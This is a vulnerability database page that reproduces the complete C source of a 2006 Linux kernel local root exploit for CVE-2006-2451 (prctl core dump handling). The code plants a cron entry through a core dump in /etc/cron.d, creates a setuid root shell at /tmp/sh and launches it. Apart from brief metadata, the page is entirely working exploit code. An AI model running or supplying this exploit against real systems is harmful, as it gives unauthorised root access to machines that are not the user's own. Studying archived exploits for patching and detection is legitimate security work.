Lucene search

K
seebugRootSSV:63702
HistoryJul 01, 2014 - 12:00 a.m.

Linux Kernel 2.6.13 <= 2.6.17.4 - sys_prctl() Local Root Exploit

2014-07-0100:00:00
Root
www.seebug.org
22

0.0004 Low

EPSS

Percentile

5.8%

No description provided by source.


                                                /*****************************************************/
/* Local r00t Exploit for:                           */
/* Linux Kernel PRCTL Core Dump Handling             */
/* ( BID 18874 / CVE-2006-2451 )                     */
/* Kernel 2.6.x  (&#62;= 2.6.13 && &#60; 2.6.17.4)           */
/* By:                                               */
/* - dreyer    &#60;[email protected]&#62;   (main PoC code)   */
/* - RoMaNSoFt &#60;[email protected]&#62; (local root code) */
/*                                  [ 10.Jul.2006 ]  */
/*****************************************************/

#include &#60;stdio.h&#62;
#include &#60;sys/time.h&#62;
#include &#60;sys/resource.h&#62;
#include &#60;unistd.h&#62;
#include &#60;linux/prctl.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;signal.h&#62;

char *payload=&#34;\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n&#34;;

int main() { 
    int child;
    struct rlimit corelimit;
    printf(&#34;Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n&#34;);
    printf(&#34;By: dreyer & RoMaNSoFt\n&#34;);
    printf(&#34;[ 10.Jul.2006 ]\n\n&#34;);

    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);

    printf(&#34;[*] Creating Cron entry\n&#34;);

    if ( !( child = fork() )) {
        chdir(&#34;/etc/cron.d&#34;);
        prctl(PR_SET_DUMPABLE, 2);
        sleep(200);
        exit(1);
    }

    kill(child, SIGSEGV);

    printf(&#34;[*] Sleeping for aprox. one minute (** please wait **)\n&#34;);
    sleep(62);

    printf(&#34;[*] Running shell (remember to remove /tmp/sh when finished) ...\n&#34;);
    system(&#34;/tmp/sh -i&#34;);
}

// milw0rm.com [2006-07-11]